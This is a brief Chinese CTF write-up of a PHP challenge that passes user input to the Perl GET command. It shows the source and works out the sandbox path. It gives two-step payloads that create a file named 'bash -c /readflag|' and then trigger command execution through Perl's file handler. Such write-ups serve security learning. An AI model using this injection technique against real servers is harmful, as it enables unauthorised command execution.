这题没啥好说的,简简单单一个命令执行漏洞
10.244.80.46<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
出问题的语句就一句
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
他会把url里面的东西当成命令来执行,他调用的是perl解析器来进行的解析执行,所以究其本质,是perl的问题
小test:
(这是get的正常用法和perl的命令执行没关系)
?url=/&filename=123
相当于执行了GET /,读取了/目录下的所有文件,输出到沙盒目录下的123,没有会自动在当前目录下创建一个
算沙盒目录:orange10.244.80.46的md5值230317844a87b41e353b096d0d6a5145
目录sandbox/230317844a87b41e353b096d0d6a5145
执行payload访问sandbox/230317844a87b41e353b096d0d6a5145/123,成功输出
我们要的是命令执行,因此需要构造bash -c之类的文件名
先给payload再分析
?url=file:bash -c /readflag|&filename=bash -c /readflag|
?url=file:bash -c /readflag|&filename=456
解释一下为什么是两段,因为这个漏洞的前提之一是你file后面的文件名必须是真实存在的,所以第一个payload的作用是生成一个文件名为
bash -c /readflag|的文件,触发他的是@file_put_contents(basename($info["basename"]), $data);
至于为什么有个管道符,这跟这个漏洞的原理有点关系,当第二次执行
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
的时候由于检测到了bash -c /readflag|同名文件,于是调用了file.pm里面的方法
但是里面的代码会有一个>而这个管道符|是为了闭合这个>的,所以你搜payload的test的时候,文件名都会在最前或者最后加一个管道符来闭合这个>
于是成功执行了bash -c /readflag命令,并将结果输出到了456文件中
同理查找拿到flag
参考视频链接:https://www.bilibili.com/video/BV1AS4y1D75Y/